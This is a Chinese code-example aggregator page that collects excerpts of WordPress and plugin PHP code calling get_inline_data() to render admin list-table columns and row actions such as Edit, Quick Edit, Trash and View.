当前位置: 首页>>代码示例>>PHP>>正文


PHP get_inline_data函数代码示例

本文整理汇总了PHP中get_inline_data函数的典型用法代码示例。如果您正苦于以下问题:PHP get_inline_data函数的具体用法?PHP get_inline_data怎么用?PHP get_inline_data使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。


在下文中一共展示了get_inline_data函数的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的PHP代码示例。

示例1: render_product_columns

        /**
         * Ouput custom columns for products
         *
         * @param string $column
         */
        public function render_product_columns($column)
        {
            global $post, $the_product;
            if (empty($the_product) || $the_product->id != $post->ID) {
                $the_product = wc_get_product($post);
            }
            switch ($column) {
                case 'thumb':
                    echo '<a href="' . get_edit_post_link($post->ID) . '">' . $the_product->get_image('post-thumbnail') . '</a>';
                    break;
                case 'name':
                    $edit_link = get_edit_post_link($post->ID);
                    $title = _draft_or_post_title();
                    echo '<strong><a class="row-title" href="' . esc_url($edit_link) . '">' . $title . '</a>';
                    _post_states($post);
                    echo '</strong>';
                    if ($post->post_parent > 0) {
                        echo '&nbsp;&nbsp;&larr; <a href="' . get_edit_post_link($post->post_parent) . '">' . get_the_title($post->post_parent) . '</a>';
                    }
                    // Excerpt view
                    if (isset($_GET['mode']) && 'excerpt' == $_GET['mode']) {
                        echo apply_filters('the_excerpt', $post->post_excerpt);
                    }
                    $this->_render_product_row_actions($post, $title);
                    get_inline_data($post);
                    /* Custom inline data for woocommerce */
                    echo '
					<div class="hidden" id="woocommerce_inline_' . $post->ID . '">
						<div class="menu_order">' . $post->menu_order . '</div>
						<div class="sku">' . $the_product->sku . '</div>
						<div class="regular_price">' . $the_product->regular_price . '</div>
						<div class="sale_price">' . $the_product->sale_price . '</div>
						<div class="weight">' . $the_product->weight . '</div>
						<div class="length">' . $the_product->length . '</div>
						<div class="width">' . $the_product->width . '</div>
						<div class="height">' . $the_product->height . '</div>
						<div class="shipping_class">' . $the_product->get_shipping_class() . '</div>
						<div class="visibility">' . $the_product->visibility . '</div>
						<div class="stock_status">' . $the_product->stock_status . '</div>
						<div class="stock">' . $the_product->stock . '</div>
						<div class="manage_stock">' . $the_product->manage_stock . '</div>
						<div class="featured">' . $the_product->featured . '</div>
						<div class="product_type">' . $the_product->product_type . '</div>
						<div class="product_is_virtual">' . $the_product->virtual . '</div>
						<div class="tax_status">' . $the_product->tax_status . '</div>
						<div class="tax_class">' . $the_product->tax_class . '</div>
						<div class="backorders">' . $the_product->backorders . '</div>
					</div>
				';
                    break;
                case 'sku':
                    echo $the_product->get_sku() ? $the_product->get_sku() : '<span class="na">&ndash;</span>';
                    break;
                case 'product_type':
                    if ('grouped' == $the_product->product_type) {
                        echo '<span class="product-type tips grouped" data-tip="' . esc_attr__('Grouped', 'woocommerce') . '"></span>';
                    } elseif ('external' == $the_product->product_type) {
                        echo '<span class="product-type tips external" data-tip="' . esc_attr__('External/Affiliate', 'woocommerce') . '"></span>';
                    } elseif ('simple' == $the_product->product_type) {
                        if ($the_product->is_virtual()) {
                            echo '<span class="product-type tips virtual" data-tip="' . esc_attr__('Virtual', 'woocommerce') . '"></span>';
                        } elseif ($the_product->is_downloadable()) {
                            echo '<span class="product-type tips downloadable" data-tip="' . esc_attr__('Downloadable', 'woocommerce') . '"></span>';
                        } else {
                            echo '<span class="product-type tips simple" data-tip="' . esc_attr__('Simple', 'woocommerce') . '"></span>';
                        }
                    } elseif ('variable' == $the_product->product_type) {
                        echo '<span class="product-type tips variable" data-tip="' . esc_attr__('Variable', 'woocommerce') . '"></span>';
                    } else {
                        // Assuming that we have other types in future
                        echo '<span class="product-type tips ' . $the_product->product_type . '" data-tip="' . ucfirst($the_product->product_type) . '"></span>';
                    }
                    break;
                case 'price':
                    echo $the_product->get_price_html() ? $the_product->get_price_html() : '<span class="na">&ndash;</span>';
                    break;
                case 'product_cat':
                case 'product_tag':
                    if (!($terms = get_the_terms($post->ID, $column))) {
                        echo '<span class="na">&ndash;</span>';
                    } else {
                        $termlist = array();
                        foreach ($terms as $term) {
                            $termlist[] = '<a href="' . admin_url('edit.php?' . $column . '=' . $term->slug . '&post_type=product') . ' ">' . $term->name . '</a>';
                        }
                        echo implode(', ', $termlist);
                    }
                    break;
                case 'featured':
                    $url = wp_nonce_url(admin_url('admin-ajax.php?action=woocommerce_feature_product&product_id=' . $post->ID), 'woocommerce-feature-product');
                    echo '<a href="' . esc_url($url) . '" title="' . __('Toggle featured', 'woocommerce') . '">';
                    if ($the_product->is_featured()) {
                        echo '<span class="wc-featured tips" data-tip="' . esc_attr__('Yes', 'woocommerce') . '">' . __('Yes', 'woocommerce') . '</span>';
                    } else {
                        echo '<span class="wc-featured not-featured tips" data-tip="' . esc_attr__('No', 'woocommerce') . '">' . __('No', 'woocommerce') . '</span>';
//.........这里部分代码省略.........
开发者ID:vkolova,项目名称:bgscena,代码行数:101,代码来源:class-wc-admin-post-types.php

示例2: eventon_custom_event_columns

/**
 * Custom Columns for event page
 *
 * @access public
 * @param mixed $column
 * @return void
 */
function eventon_custom_event_columns($column, $post_id)
{
    global $post, $eventon;
    //if ( empty( $ajde_events ) || $ajde_events->id != $post->ID )
    //$ajde_events = get_product( $post );
    $pmv = get_post_custom($post_id);
    switch ($column) {
        case has_filter("evo_column_type_{$column}"):
            $content = apply_filters("evo_column_type_{$column}", $post_id);
            echo $content;
            break;
        case "thumb":
            //echo '<a href="' . get_edit_post_link( $post->ID ) . '">' . $ajde_events->get_image() . '</a>';
            break;
        case "name":
            $edit_link = get_edit_post_link($post->ID);
            $title = _draft_or_post_title();
            $post_type_object = get_post_type_object($post->post_type);
            $can_edit_post = current_user_can($post_type_object->cap->edit_post, $post->ID);
            echo "<div class='evoevent_item'>";
            $img_src = $eventon->evo_admin->get_image('thumbnail', false);
            $event_color = eventon_get_hex_color($pmv);
            echo '<a class="evoevent_image" href="' . get_edit_post_link($post_id) . '">';
            if ($img_src) {
                echo '<img class="evoEventCirc" src="' . $img_src . '"/>';
            } else {
                echo '<span class="evoEventCirc" style="background-color:' . $event_color . '"></span>';
            }
            echo '</a><div class="evo_item_details">';
            if ($can_edit_post) {
                echo '<strong><a class="row-title" href="' . $edit_link . '">' . $title . '</a>';
            } else {
                echo '<strong>' . $title . '';
            }
            _post_states($post);
            echo '</strong>';
            if ($post->post_parent > 0) {
                echo '&nbsp;&nbsp;&larr; <a href="' . get_edit_post_link($post->post_parent) . '">' . get_the_title($post->post_parent) . '</a>';
            }
            // Excerpt view
            if (isset($_GET['mode']) && $_GET['mode'] == 'excerpt') {
                echo apply_filters('the_excerpt', $post->post_excerpt);
            }
            // Get actions
            $actions = array();
            $actions['id'] = 'ID: ' . $post->ID;
            if ($can_edit_post && 'trash' != $post->post_status) {
                $actions['edit'] = '<a href="' . get_edit_post_link($post->ID, true) . '" title="' . esc_attr(__('Edit this item')) . '">' . __('Edit') . '</a>';
                $actions['inline hide-if-no-js'] = '<a href="#" class="editinline" title="' . esc_attr(__('Edit this item inline')) . '">' . __('Quick&nbsp;Edit') . '</a>';
            }
            if (current_user_can($post_type_object->cap->delete_post, $post->ID)) {
                if ('trash' == $post->post_status) {
                    $actions['untrash'] = "<a title='" . esc_attr(__('Restore this item from the Trash')) . "' href='" . wp_nonce_url(admin_url(sprintf($post_type_object->_edit_link . '&amp;action=untrash', $post->ID)), 'untrash-post_' . $post->ID) . "'>" . __('Restore') . "</a>";
                } elseif (EMPTY_TRASH_DAYS) {
                    $actions['trash'] = "<a class='submitdelete' title='" . esc_attr(__('Move this item to the Trash')) . "' href='" . get_delete_post_link($post->ID) . "'>" . __('Trash') . "</a>";
                }
                if ('trash' == $post->post_status || !EMPTY_TRASH_DAYS) {
                    $actions['delete'] = "<a class='submitdelete' title='" . esc_attr(__('Delete this item permanently')) . "' href='" . get_delete_post_link($post->ID, '', true) . "'>" . __('Delete Permanently') . "</a>";
                }
            }
            if ($post_type_object->public) {
                if (in_array($post->post_status, array('pending', 'draft', 'future'))) {
                    if ($can_edit_post) {
                        $actions['view'] = '<a href="' . esc_url(add_query_arg('preview', 'true', get_permalink($post->ID))) . '" title="' . esc_attr(sprintf(__('Preview &#8220;%s&#8221;'), $title)) . '" rel="permalink">' . __('Preview') . '</a>';
                    }
                } elseif ('trash' != $post->post_status) {
                    $actions['view'] = '<a href="' . get_permalink($post->ID) . '" title="' . esc_attr(sprintf(__('View &#8220;%s&#8221;'), $title)) . '" rel="permalink">' . __('View') . '</a>';
                }
            }
            $actions = apply_filters('post_row_actions', $actions, $post);
            echo '<div class="row-actions">';
            $i = 0;
            $action_count = sizeof($actions);
            foreach ($actions as $action => $link) {
                ++$i;
                $i == $action_count ? $sep = '' : ($sep = ' | ');
                echo "<span class='{$action}'>{$link}{$sep}</span>";
            }
            echo '</div>';
            get_inline_data($post);
            $event = $eventon->evo_event->get_event($post->ID);
            //print_r($event);
            /* Custom inline data for eventon */
            echo '<div class="hidden" id="eventon_inline_' . $post->ID . '">';
            foreach ($eventon->evo_event->get_event_fields_edit() as $field) {
                $value = !empty($event->{$field}) ? $event->{$field} : null;
                echo "<div class='{$field}'>{$value}</div>";
            }
            echo "<div class='_menu_order'>" . $post->menu_order . "</div>";
            echo '</div>';
            echo '</div>';
            break;
        case "event_type":
//.........这里部分代码省略.........
开发者ID:sabdev1,项目名称:ljcdevsab,代码行数:101,代码来源:ajde_events.php

示例3: cwp_post_row


//.........这里部分代码省略.........
                }
                if (current_user_can('delete_post', $post->ID)) {
                    if ('trash' == $post->post_status) {
                        $actions['untrash'] = "<a title='" . esc_attr(__('Restore this post from the Trash')) . "' href='" . $untrash_link . "'>" . __('Restore') . "</a>";
                    } elseif (EMPTY_TRASH_DAYS) {
                        $actions['trash'] = "<a class='submitdelete' title='" . esc_attr(__('Move this post to the Trash')) . "' href='" . $trash_link . "'>" . __('Trash') . "</a>";
                    }
                    if ('trash' == $post->post_status || !EMPTY_TRASH_DAYS) {
                        $actions['delete'] = "<a class='submitdelete' title='" . esc_attr(__('Delete this post permanently')) . "' href='" . wp_nonce_url($delete_link, 'delete-post_' . $post->ID) . "'>" . __('Delete Permanently') . "</a>";
                    }
                }
                /*
                if ( current_user_can('delete_post', $post->ID) ) {
                	$actions['delete'] = "<a class='submitdelete' title='" . esc_attr(__('Delete this post')) . "' href='" . wp_nonce_url($delete_link, 'delete-post_' . $post->ID) . "' onclick=\"if ( confirm('" . esc_js(sprintf( ('draft' == $post->post_status) ? __("You are about to delete this draft '%s'\n 'Cancel' to stop, 'OK' to delete.") : __("You are about to delete this post '%s'\n 'Cancel' to stop, 'OK' to delete."), $post->post_title )) . "') ) { return true;}return false;\">" . __('Delete') . "</a>";
                }
                */
                if (in_array($post->post_status, array('pending', 'draft'))) {
                    if (current_user_can('edit_post', $post->ID)) {
                        $actions['view'] = '<a href="' . get_permalink($post->ID) . '" title="' . esc_attr(sprintf(__('Preview &#8220;%s&#8221;'), $title)) . '" rel="permalink">' . __('Preview') . '</a>';
                    }
                } else {
                    $actions['view'] = '<a href="' . get_permalink($post->ID) . '" title="' . esc_attr(sprintf(__('View &#8220;%s&#8221;'), $title)) . '" rel="permalink">' . __('View') . '</a>';
                }
                $actions = apply_filters('post_row_actions', $actions, $post);
                $action_count = count($actions);
                $i = 0;
                echo '<div class="row-actions">';
                foreach ($actions as $action => $link) {
                    ++$i;
                    $i == $action_count ? $sep = '' : ($sep = ' | ');
                    echo "<span class='{$action}'>{$link}{$sep}</span>";
                }
                echo '</div>';
                get_inline_data($post);
                ?>
		</td>
		<?php 
                break;
            case 'categories':
                ?>
		<td <?php 
                echo $attributes;
                ?>
><?php 
                $categories = get_the_category();
                if (!empty($categories)) {
                    $out = array();
                    foreach ($categories as $c) {
                        $out[] = "<a href='edit.php?category_name={$c->slug}'> " . esc_html(sanitize_term_field('name', $c->name, $c->term_id, 'category', 'display')) . "</a>";
                    }
                    echo join(', ', $out);
                } else {
                    _e('Uncategorized');
                }
                ?>
</td>
		<?php 
                break;
            case 'tags':
                ?>
		<td <?php 
                echo $attributes;
                ?>
><?php 
                $tags = get_the_tags($post->ID);
                if (!empty($tags)) {
开发者ID:adamcarlile,项目名称:Alex-Goy,代码行数:67,代码来源:cwp.page.manage.php

示例4: display_page_row

/**
 * {@internal Missing Short Description}}
 *
 * @since unknown
 *
 * @param unknown_type $page
 * @param unknown_type $level
 */
function display_page_row( $page, $level = 0 ) {
	global $post;
	static $rowclass;

	$post = $page;
	setup_postdata($page);

	$page->post_title = wp_specialchars( $page->post_title );
	$pad = str_repeat( '&#8212; ', $level );
	$id = (int) $page->ID;
	$rowclass = 'alternate' == $rowclass ? '' : 'alternate';
	$posts_columns = get_column_headers('edit-pages');
	$hidden = get_hidden_columns('edit-pages');
	$title = _draft_or_post_title();
?>
<tr id="page-<?php echo $id; ?>" class="<?php echo $rowclass; ?> iedit">
<?php

foreach ($posts_columns as $column_name=>$column_display_name) {
	$class = "class=\"$column_name column-$column_name\"";

	$style = '';
	if ( in_array($column_name, $hidden) )
		$style = ' style="display:none;"';

	$attributes = "$class$style";

	switch ($column_name) {

	case 'cb':
		?>
		<th scope="row" class="check-column"><input type="checkbox" name="post[]" value="<?php the_ID(); ?>" /></th>
		<?php
		break;
	case 'date':
		if ( '0000-00-00 00:00:00' == $page->post_date && 'date' == $column_name ) {
			$t_time = $h_time = __('Unpublished');
		} else {
			$t_time = get_the_time(__('Y/m/d g:i:s A'));
			$m_time = $page->post_date;
			$time = get_post_time('G', true);

			if ( ( abs(time() - $time) ) < 86400 ) {
				if ( ( 'future' == $page->post_status) )
					$h_time = sprintf( __('%s from now'), human_time_diff( $time ) );
				else
					$h_time = sprintf( __('%s ago'), human_time_diff( $time ) );
			} else {
				$h_time = mysql2date(__('Y/m/d'), $m_time);
			}
		}
		echo '<td ' . $attributes . '>';
		echo '<abbr title="' . $t_time . '">' . apply_filters('post_date_column_time', $h_time, $page, $column_name, '') . '</abbr>';
		echo '<br />';
		if ( 'publish' == $page->post_status || 'future' == $page->post_status )
			_e('Published');
		else
			_e('Last Modified');
		echo '</td>';
		break;
	case 'title':
		$attributes = 'class="post-title page-title column-title"' . $style;
		$edit_link = get_edit_post_link( $page->ID );
		?>
		<td <?php echo $attributes ?>><strong><?php if ( current_user_can( 'edit_post', $page->ID ) ) { ?><a class="row-title" href="<?php echo $edit_link; ?>" title="<?php echo attribute_escape(sprintf(__('Edit "%s"'), $title)); ?>"><?php echo $pad; echo $title ?></a><?php } else { echo $pad; echo $title; }; _post_states($page); ?></strong>
		<?php
		$actions = array();
		if ( current_user_can('edit_page', $page->ID) ) {
			$actions['edit'] = '<a href="' . $edit_link . '" title="' . attribute_escape(__('Edit this page')) . '">' . __('Edit') . '</a>';
			$actions['inline'] = '<a href="#" class="editinline">' . __('Quick&nbsp;Edit') . '</a>';
			$actions['delete'] = "<a class='submitdelete' title='" . attribute_escape(__('Delete this page')) . "' href='" . wp_nonce_url("page.php?action=delete&amp;post=$page->ID", 'delete-page_' . $page->ID) . "' onclick=\"if ( confirm('" . js_escape(sprintf( ('draft' == $page->post_status) ? __("You are about to delete this draft '%s'\n 'Cancel' to stop, 'OK' to delete.") : __("You are about to delete this page '%s'\n 'Cancel' to stop, 'OK' to delete."), $page->post_title )) . "') ) { return true;}return false;\">" . __('Delete') . "</a>";
		}
		if ( in_array($post->post_status, array('pending', 'draft')) ) {
			if ( current_user_can('edit_page', $page->ID) )
				$actions['view'] = '<a href="' . get_permalink($page->ID) . '" title="' . attribute_escape(sprintf(__('Preview "%s"'), $title)) . '" rel="permalink">' . __('Preview') . '</a>';
		} else {
			$actions['view'] = '<a href="' . get_permalink($page->ID) . '" title="' . attribute_escape(sprintf(__('View "%s"'), $title)) . '" rel="permalink">' . __('View') . '</a>';
		}
		$action_count = count($actions);

		$i = 0;
		echo '<div class="row-actions">';
		foreach ( $actions as $action => $link ) {
			++$i;
			( $i == $action_count ) ? $sep = '' : $sep = ' | ';
			echo "<span class='$action'>$link$sep</span>";
		}
		echo '</div>';

		get_inline_data($post);
		echo '</td>';
		break;
//.........这里部分代码省略.........
开发者ID:staylor,项目名称:develop.svn.wordpress.org,代码行数:101,代码来源:template.php

示例5: single_row


//.........这里部分代码省略.........
                            $locked_avatar = $locked_text = '';
                        }
                        echo '<div class="locked-info"><span class="locked-avatar">' . $locked_avatar . '</span> <span class="locked-text">' . $locked_text . "</span></div>\n";
                    }
                    if (!$this->hierarchical_display && 'excerpt' == $mode && current_user_can('read_post', $post->ID)) {
                        the_excerpt();
                    }
                    $actions = array();
                    if ($can_edit_post && 'trash' != $post->post_status) {
                        $actions['edit'] = '<a href="' . get_edit_post_link($post->ID, true) . '" title="' . esc_attr(__('Edit this item')) . '">' . __('Edit') . '</a>';
                        $actions['inline hide-if-no-js'] = '<a href="#" class="editinline" title="' . esc_attr(__('Edit this item inline')) . '">' . __('Quick&nbsp;Edit') . '</a>';
                    }
                    if (current_user_can('delete_post', $post->ID)) {
                        if ('trash' == $post->post_status) {
                            $actions['untrash'] = "<a title='" . esc_attr(__('Restore this item from the Trash')) . "' href='" . wp_nonce_url(admin_url(sprintf($post_type_object->_edit_link . '&amp;action=untrash', $post->ID)), 'untrash-post_' . $post->ID) . "'>" . __('Restore') . "</a>";
                        } elseif (EMPTY_TRASH_DAYS) {
                            $actions['trash'] = "<a class='submitdelete' title='" . esc_attr(__('Move this item to the Trash')) . "' href='" . get_delete_post_link($post->ID) . "'>" . __('Trash') . "</a>";
                        }
                        if ('trash' == $post->post_status || !EMPTY_TRASH_DAYS) {
                            $actions['delete'] = "<a class='submitdelete' title='" . esc_attr(__('Delete this item permanently')) . "' href='" . get_delete_post_link($post->ID, '', true) . "'>" . __('Delete Permanently') . "</a>";
                        }
                    }
                    if ($post_type_object->public) {
                        if (in_array($post->post_status, array('pending', 'draft', 'future'))) {
                            if ($can_edit_post) {
                                $actions['view'] = '<a href="' . esc_url(apply_filters('preview_post_link', set_url_scheme(add_query_arg('preview', 'true', get_permalink($post->ID))))) . '" title="' . esc_attr(sprintf(__('Preview &#8220;%s&#8221;'), $title)) . '" rel="permalink">' . __('Preview') . '</a>';
                            }
                        } elseif ('trash' != $post->post_status) {
                            $actions['view'] = '<a href="' . get_permalink($post->ID) . '" title="' . esc_attr(sprintf(__('View &#8220;%s&#8221;'), $title)) . '" rel="permalink">' . __('View') . '</a>';
                        }
                    }
                    $actions = apply_filters(is_post_type_hierarchical($post->post_type) ? 'page_row_actions' : 'post_row_actions', $actions, $post);
                    echo $this->row_actions($actions);
                    get_inline_data($post);
                    echo '</td>';
                    break;
                case 'date':
                    if ('0000-00-00 00:00:00' == $post->post_date) {
                        $t_time = $h_time = __('Unpublished');
                        $time_diff = 0;
                    } else {
                        $t_time = get_the_time(__('Y/m/d g:i:s A'));
                        $m_time = $post->post_date;
                        $time = get_post_time('G', true, $post);
                        $time_diff = time() - $time;
                        if ($time_diff > 0 && $time_diff < DAY_IN_SECONDS) {
                            $h_time = sprintf(__('%s ago'), human_time_diff($time));
                        } else {
                            $h_time = mysql2date(__('Y/m/d'), $m_time);
                        }
                    }
                    echo '<td ' . $attributes . '>';
                    if ('excerpt' == $mode) {
                        echo apply_filters('post_date_column_time', $t_time, $post, $column_name, $mode);
                    } else {
                        echo '<abbr title="' . $t_time . '">' . apply_filters('post_date_column_time', $h_time, $post, $column_name, $mode) . '</abbr>';
                    }
                    echo '<br />';
                    if ('publish' == $post->post_status) {
                        _e('Published');
                    } elseif ('future' == $post->post_status) {
                        if ($time_diff > 0) {
                            echo '<strong class="attention">' . __('Missed schedule') . '</strong>';
                        } else {
                            _e('Scheduled');
                        }
开发者ID:novichkovv,项目名称:candoweightloss,代码行数:67,代码来源:class-wp-posts-list-table.php

示例6: manage_posts_custom_column

 function manage_posts_custom_column($column)
 {
     global $post;
     switch ($column) {
         case "attendees":
             global $wpdb;
             $event = $post instanceof Eab_EventModel ? $post : new Eab_EventModel($post);
             $yes = $wpdb->get_var($wpdb->prepare("SELECT COUNT(*) FROM " . Eab_EventsHub::tablename(Eab_EventsHub::BOOKING_TABLE) . " WHERE event_id = %d AND status = %s;", $event->get_id(), Eab_EventModel::BOOKING_YES));
             $no = $wpdb->get_var($wpdb->prepare("SELECT COUNT(*) FROM " . Eab_EventsHub::tablename(Eab_EventsHub::BOOKING_TABLE) . " WHERE event_id = %d AND status = %s;", $event->get_id(), Eab_EventModel::BOOKING_NO));
             $maybe = $wpdb->get_var($wpdb->prepare("SELECT COUNT(*) FROM " . Eab_EventsHub::tablename(Eab_EventsHub::BOOKING_TABLE) . " WHERE event_id = %d AND status = %s;", $event->get_id(), Eab_EventModel::BOOKING_MAYBE));
             printf('<b>' . __('Attending / Undecided', self::TEXT_DOMAIN) . ':</b> %d / %d<br />', $yes, $maybe);
             printf('<b>' . __('Not Attending', self::TEXT_DOMAIN) . ':</b> %d', $no);
             echo '&nbsp;';
             echo '<a class="button" href="' . admin_url('index.php?eab_export=attendees&event_id=' . $event->get_id()) . '" class="eab-export_attendees">' . __('Export', self::TEXT_DOMAIN) . '</a>';
             break;
         case "start":
             $event = new Eab_EventModel($post);
             $df = get_option('date_format', 'Y-m-d');
             if (!$event->is_recurring()) {
                 echo date_i18n($df, $event->get_start_timestamp()) . ' - ' . date_i18n($df, $event->get_end_timestamp());
             } else {
                 $repeats = $event->get_supported_recurrence_intervals();
                 $title = @$repeats[$event->get_recurrence()];
                 $start = date_i18n($df, $event->get_recurrence_starts());
                 $end = date_i18n($df, $event->get_recurrence_ends());
                 printf(__("From %s, repeats every %s until %s", self::TEXT_DOMAIN), $start, $title, $end);
             }
             break;
         case "venue":
             $event = new Eab_EventModel($post);
             echo $event->get_venue_location();
             break;
         case "event":
             $event = new Eab_EventModel($post);
             $post_type_object = get_post_type_object($post->post_type);
             $edit_link = get_edit_post_link($event->get_id());
             $statuses = array();
             if ('draft' == $post->post_status) {
                 $statuses[] = __('Draft');
             }
             if ('private' == $post->post_status) {
                 $statuses[] = __('Private');
             }
             if ('pending' == $post->post_status) {
                 $statuses[] = __('Pending');
             }
             $status = $statuses ? ' - <span class="post-state">' . join(', ', $statuses) . '</span>' : '';
             $title = current_user_can($post_type_object->cap->edit_post, $event->get_id()) && 'trash' != $post->post_status ? '<strong>' . '<a class="row-title" href="' . $edit_link . '" title="' . esc_attr(sprintf(__('Edit &#8220;%s&#8221;'), $event->get_title())) . '">' . $event->get_title() . '</a>&nbsp;' . $status . '</strong>' : '<strong>' . $event->get_title() . '&nbsp;' . $status . '</strong>';
             if (current_user_can($post_type_object->cap->edit_post, $event->get_id()) && 'trash' != $post->post_status) {
                 $actions['edit'] = '<a title="' . esc_attr(__('Edit Event', self::TEXT_DOMAIN)) . '" href="' . $edit_link . '">' . __('Edit') . '</a>';
                 if (!$event->is_recurring()) {
                     $actions['inline hide-if-no-js'] = '<a href="#" class="editinline" title="' . esc_attr(__('Edit this Event inline', self::TEXT_DOMAIN)) . '">' . __('Quick&nbsp;Edit') . '</a>';
                 }
             }
             if (current_user_can($post_type_object->cap->delete_post, $event->get_id())) {
                 if ('trash' == $post->post_status) {
                     $actions['untrash'] = "<a title='" . esc_attr(__('Restore this Event from the Trash', self::TEXT_DOMAIN)) . "' href='" . wp_nonce_url(admin_url(sprintf($post_type_object->_edit_link . '&amp;action=untrash', $event->get_id())), 'untrash-' . $post->post_type . '_' . $event->get_id()) . "'>" . __('Restore') . "</a>";
                 } else {
                     if (EMPTY_TRASH_DAYS) {
                         $actions['trash'] = '<a class="submitdelete" title="' . esc_attr(__('Move this Event to the Trash', self::TEXT_DOMAIN)) . '" href="' . get_delete_post_link($event->get_id()) . '">' . __('Trash') . '</a>';
                     }
                 }
                 if ('trash' == $post->post_status || !EMPTY_TRASH_DAYS) {
                     $actions['delete'] = "<a class='submitdelete' title='" . esc_attr(__('Delete this Event permanently', self::TEXT_DOMAIN)) . "' href='" . get_delete_post_link($event->get_id(), '', true) . "'>" . __('Delete Permanently') . "</a>";
                 }
             }
             if ('trash' != $post->post_status) {
                 $event_id = $event->get_id();
                 if ($event->is_recurring()) {
                     $children = Eab_CollectionFactory::get_all_recurring_children_events($event);
                     if (!$children || !$children[0] instanceof Eab_EventModel) {
                         $event_id = false;
                     } else {
                         $event_id = $children[0]->get_id();
                     }
                 }
                 if ($event_id) {
                     $actions['view'] = '<a href="' . get_permalink($event_id) . '" title="' . esc_attr(sprintf(__('View &#8220;%s&#8221;'), $event->get_title())) . '" rel="permalink">' . __('View') . '</a>';
                 }
             }
             echo $title;
             if (!empty($actions)) {
                 foreach ($actions as $action => $link) {
                     $actions[$action] = "<span class='{$action}'>{$link}</span>";
                 }
             }
             echo '<div class="row-actions">' . join('&nbsp;|&nbsp;', $actions) . '</div>';
             get_inline_data($post);
             break;
     }
 }
开发者ID:nayabbukhari,项目名称:circulocristiano,代码行数:91,代码来源:events-and-bookings.php

示例7: get_permalink

     echo "<span><a target='_blank' href='" . get_permalink($inbox_item->post_id) . "&preview=true'>" . __("View", "oasisworkflow") . "</a></span>&nbsp;|&nbsp;";
     if (current_user_can('ow_sign_off_step') && $is_post_editable || $user->ID == $current_user_id) {
         echo "<span>\n\t\t\t\t\t\t\t\t\t\t\t\t<a href='#' wfid='{$inbox_item->ID}' postid='{$inbox_item->post_id}' class='quick_sign_off'>" . $sign_off_label . "</a>\n\t\t\t\t\t\t\t\t\t\t\t\t<span class='loading'>{$space}</span>\n\t\t\t\t\t\t\t\t\t\t\t</span>&nbsp;|&nbsp;";
     }
     if (current_user_can('ow_reassign_task')) {
         echo "<span>\n\t\t\t\t\t\t\t\t\t\t\t\t<a href='#' wfid='{$inbox_item->ID}' class='reassign'>" . __("Reassign", "oasisworkflow") . "</a>\n\t\t\t\t\t\t\t\t\t\t\t\t<span class='loading'>{$space}</span>\n\t\t\t\t\t\t\t\t\t\t\t</span>&nbsp;|&nbsp;";
     }
     if (current_user_can('ow_abort_workflow')) {
         echo "<span>\n\t\t\t\t\t\t\t\t\t\t<a href='#' wfid='{$inbox_item->ID}' postid='{$inbox_item->post_id}' class='abort_workflow'>" . $abort_workflow_label . "</a>\n\t\t\t\t\t\t\t\t\t\t<span class='loading'>{$space}</span>\n\t\t\t\t\t\t\t\t\t\t</span>&nbsp;|&nbsp;";
     }
     if (current_user_can('ow_view_workflow_history')) {
         $nonce_url = wp_nonce_url("admin.php?page=oasiswf-history&post={$inbox_item->post_id}", 'owf_view_history_nonce');
         echo "<span><a href='{$nonce_url}'> " . __("View History", "oasisworkflow") . "</a></span>";
     }
     echo "</div>";
     get_inline_data($post);
 }
 echo "</td>";
 echo "<td>{$post->post_type}</td>";
 echo "<td>" . OW_Utility::instance()->get_user_name($user->ID) . "</td>";
 $workflow_name = $workflow->name;
 if (!empty($workflow->version)) {
     $workflow_name .= " (" . $workflow->version . ")";
 }
 echo "<td>{$workflow_name} [{$ow_workflow_service->get_gpid_dbid($workflow->ID, $stepId, 'lbl')}]</td>";
 $arg = add_query_arg(array('category' => $cat_name, 'nonce' => wp_create_nonce('category_filter')));
 echo "<td><a href={$arg}>{$cat_name}</a></td>";
 $post_status = $ow_custom_statuses->get_single_term_by('slug', get_post_status($post->ID));
 $post_status = is_object($post_status) && isset($post_status->name) ? $post_status->name : $wf_process_status[$ow_workflow_service->get_gpid_dbid($workflow->ID, $stepId, 'process')];
 // if the due date is passed the current date show the field in a different color
 echo "<td><span class=' . {$past_due_date_field_class} . '>" . OW_Utility::instance()->format_date_for_display($inbox_item->due_date) . "</span></td>";
开发者ID:andyUA,项目名称:kabmin-new,代码行数:31,代码来源:workflow-inbox.php

示例8: single_row


//.........这里部分代码省略.........
                        ?>
</strong>
<?php 
                        if ('excerpt' == $mode) {
                            the_excerpt();
                        }
                    }
                    $actions = array();
                    if ($can_edit_post && 'trash' != $post->post_status) {
                        $actions['edit'] = '<a href="' . get_edit_post_link($post->ID, true) . '" title="' . esc_attr(__('Edit this item')) . '">' . __('Edit') . '</a>';
                        $actions['inline hide-if-no-js'] = '<a href="#" class="editinline" title="' . esc_attr(__('Edit this item inline')) . '">' . __('Quick&nbsp;Edit') . '</a>';
                    }
                    if (current_user_can($post_type_object->cap->delete_post, $post->ID)) {
                        if ('trash' == $post->post_status) {
                            $actions['untrash'] = "<a title='" . esc_attr(__('Restore this item from the Trash')) . "' href='" . wp_nonce_url(admin_url(sprintf($post_type_object->_edit_link . '&amp;action=untrash', $post->ID)), 'untrash-' . $post->post_type . '_' . $post->ID) . "'>" . __('Restore') . "</a>";
                        } elseif (EMPTY_TRASH_DAYS) {
                            $actions['trash'] = "<a class='submitdelete' title='" . esc_attr(__('Move this item to the Trash')) . "' href='" . get_delete_post_link($post->ID) . "'>" . __('Trash') . "</a>";
                        }
                        if ('trash' == $post->post_status || !EMPTY_TRASH_DAYS) {
                            $actions['delete'] = "<a class='submitdelete' title='" . esc_attr(__('Delete this item permanently')) . "' href='" . get_delete_post_link($post->ID, '', true) . "'>" . __('Delete Permanently') . "</a>";
                        }
                    }
                    if ($post_type_object->public) {
                        if (in_array($post->post_status, array('pending', 'draft', 'future'))) {
                            if ($can_edit_post) {
                                $actions['view'] = '<a href="' . esc_url(add_query_arg('preview', 'true', get_permalink($post->ID))) . '" title="' . esc_attr(sprintf(__('Preview &#8220;%s&#8221;'), $title)) . '" rel="permalink">' . __('Preview') . '</a>';
                            }
                        } elseif ('trash' != $post->post_status) {
                            $actions['view'] = '<a href="' . get_permalink($post->ID) . '" title="' . esc_attr(sprintf(__('View &#8220;%s&#8221;'), $title)) . '" rel="permalink">' . __('View') . '</a>';
                        }
                    }
